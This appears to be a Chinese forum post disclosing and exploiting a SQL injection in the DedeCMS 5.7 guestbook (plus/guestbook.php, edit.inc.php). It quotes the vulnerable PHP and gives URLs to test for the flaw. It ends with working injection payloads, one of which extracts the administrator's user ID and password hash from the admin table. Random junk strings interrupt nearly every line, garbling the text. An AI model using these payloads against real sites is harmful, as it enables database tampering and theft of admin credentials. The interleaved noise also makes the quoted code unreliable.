影响版本为5.7
. Z2 x" A) Z/ _( x. F5 \7 |
* Y' O3 t+ y: z: x漏洞文件edit.inc.php具体代码:
4 G% }4 [6 `( v3 j7 A3 `8 M$ D2 v8 L
< ?php 7 _0 j* y$ K. M# u
$ {2 a( \6 u# l7 _5 x$ G
if(!defined('DEDEINC')) exit('Request Error!');
# |5 V2 f' N+ T' K3 }, m0 z; E; W3 X2 ^$ l
5 C1 G4 @% s8 H4 f+ V; ~" k
: C/ A& i$ O! \* Iif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; # U) h( \" R7 s Q$ P( W) ^
" x+ c" H# K6 D \& E7 delse $GUEST_BOOK_POS = "guestbook.php"; 2 q7 g" n) q `1 J7 E' _$ l
* I2 r$ T) Z4 I; Q6 p
$ R) T+ F) w6 A% x$ w
8 |0 R9 u4 U( Z$id = intval($id);
8 x' [* C1 N9 Y2 s5 g- W3 P8 D9 \* _
if(empty($job)) $job='view'; & B1 e" J- g8 y k* V a4 x# q3 F' K
. C0 s5 {, K4 x' V % v3 Q0 v% z" O N
# U2 X4 Z' F3 S( S& w/ g% @if($job=='del' && $g_isadmin) 4 D( N$ ]. ]: `3 h+ A
; E. `7 H! U0 G# S{
; I) U, I8 r# i, ^$ `& J
3 _5 Q: Y {8 H' {7 ^4 ]) r$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); * K: k* N/ F, F. y' b+ Q
# j$ a& V1 ^1 ?8 z0 D; w1 ^* \5 s1 NShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
( l* t- o$ Y3 _9 a/ Z+ j' w; p5 D# N
exit();
# D. P' B0 {* u& Y0 W4 H5 h* P U1 P; D/ r1 x2 K+ c
} 0 a/ M0 c M$ c8 E6 k
# G: b0 O, A% u5 X( i* o
else if($job=='check' && $g_isadmin)
) ^( m) ?0 k, T3 t5 C* }6 S) z" y5 T6 D7 M- J
{ + h' z% U3 y* }* O& c3 z5 z
9 [+ @% ^* @- i! I$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
8 R* q& w& d3 K" e$ |" ` R# V5 e2 L! p
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); % ]5 H+ j) a# t5 a& L; _
7 |4 {! z2 J1 b& h; [, m. h; |3 `
exit(); + u: S$ {, d* d
, n# d3 U/ b5 H' ^' T( @} - }$ a0 s3 g' Q# \
! \0 _3 e, N( a/ `9 u# z( f5 qelse if($job=='editok')
+ ]4 o) v6 t8 c$ t, z% r. i. X, |3 F Y" `
{ 7 w& z5 h1 r3 ^ j. h3 `
& y( i, @' T/ L6 I( _9 s
$remsg = trim($remsg);
& {5 D" R( W0 M
; R! T2 G4 w: R( v' l5 l. Oif($remsg!='') 5 d( D1 c4 |- w& I
1 {6 `; l- y% u3 L5 m{ % q7 y4 {/ B7 Q+ F$ w
2 R; J+ y# H( Q* k//管理员回复不过滤HTML By:Errorera blog:errs.cc / B" F) z9 _5 Y; N2 T+ x
1 ]' {4 ?8 ?* t$ iif($g_isadmin)
/ P/ k* E4 a" ~$ o9 h7 t9 ?
; H6 U* j# z4 s{ 1 {, z- _5 M5 B; Z
5 X: o4 h9 k+ o/ g7 k
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; `9 z* m$ F0 b& c+ h
- J4 o# \+ ]# J
//$remsg <br /><font color=red>管理员回复:</font> } . y# f& @* d: M0 @ ]- T
; @7 T0 Z( J" `+ y2 ?$ r" S
else
: N q/ `/ a* o9 v8 S9 [
' @' S U. ^0 ]{
' O' O* \5 P" j$ g3 M( m+ Z/ e, E" @. a8 i* |0 M1 T
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); . d% v( [! `3 w% L2 \
2 B! }5 K- f' H
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; # k+ Z- d# \" y0 e
7 Q- I: h) K: g) m1 Z$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
; ]* y1 k0 `) O+ n+ }( }+ O, a- S! q/ J8 W( r, _
$msg = $oldmsg.$remsg; * }6 V5 m4 i( r! s% S) q! B
2 ]" f+ |3 M! D+ O+ X
} 3 Q* }2 n S& w4 q& C
u( _0 _9 q/ j( E7 T7 Q
}
7 X: l/ e& w1 [6 `1 J( V+ `, f. W! G, T
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc ' d3 v. W& {/ P0 a, p' [. ?2 o6 ~
' ~* R0 C% U) l; l7 b5 e$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); & Z: [& L& y; F: d, Q
' \$ U: }1 u. ~ F* N/ z% f( p( R* U5 o
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); + Q+ `6 r2 g+ V, f
, @' z7 q' \2 L$ b
exit(); M/ g+ S( O5 ~' p& d
* e) @+ A: g+ b. @: O% k}
5 B' V8 f4 k: R
5 k1 K2 p1 b' |4 z$ V$ m6 d//home:www.errs.cc
: Q+ w8 [1 k% W$ u3 a
* L4 G; v1 ?$ U1 B' t+ r8 Gif($g_isadmin)
0 V+ A. n0 f" `% m3 U9 p8 K* @
. E( p; r7 w. m. Z{
* m0 S. {: H4 h* @% { I( f6 a! ^9 e4 u& ]# |8 ?; |
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
3 ~9 S" y( } }& U+ ^1 S
) c) B7 y9 t+ T& {; B5 \require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
[/ P6 n3 a- k4 D6 G
7 t. d, B5 R0 J; {} $ _/ k) H" h) b7 o7 G+ ~6 C
s/ [' N R" _# k- |
else
8 w! p7 Y9 m/ j$ q, [- L' v- v
, N) Q3 n9 u3 K, W{ , K* C+ q* u: a) _7 z2 O
* P% v" P( C _7 q. i2 n$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); 3 B" R+ I" t% P
7 o0 A# A2 U, g% r! D5 Y' @require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); + H& f8 H T$ @/ Y
6 V) {2 Q. F/ Y/ {& U" c} 漏洞成功需要条件:0 n& H2 w" F' q0 R& f
1. php magic_quotes_gpc=off
! C# J" w* w6 ]; a. h- m3 A2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
; a, W' ^! _/ ~5 A0 h6 c7 w- R# V) C: r3 h7 ?8 a: a
怎么判断是否存在漏洞:
5 n% C3 X2 n- s: g9 V( R1 U5 f% j先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,, u9 B- q$ a$ Y1 p
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID. Z3 y0 w5 i: |' @
访问:( D2 a5 d# V/ {7 u) v
$ @* E) Q' w: p8 p8 |www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
( ]- g8 b' R" I3 w: {, o; M! K跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
, v9 B& [. z+ ~. v! H$ w: U! p9 h2 h
$ e9 E1 Z" u2 T% n: Q7 \明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
5 M7 Q, r7 {. r* T! r如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。( V7 O5 n4 x' i6 e7 I8 ]- s
那么再次访问
8 | \$ `& \* h5 R% i Q- |' Z; W
d6 F0 r* T6 u& X0 ~! Xwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().8 N, z; m; N% `; a4 T+ h9 @* c
1 {/ e1 x$ r5 U5 {
大概利用就是这样,大家有兴趣的多研究下!!
- X) c, [& n! t, i$ F% m! S% z2 o# T
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
, ?/ f* ?$ H1 p1 S: ^0 A3 V1 `) @, k p3 B
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |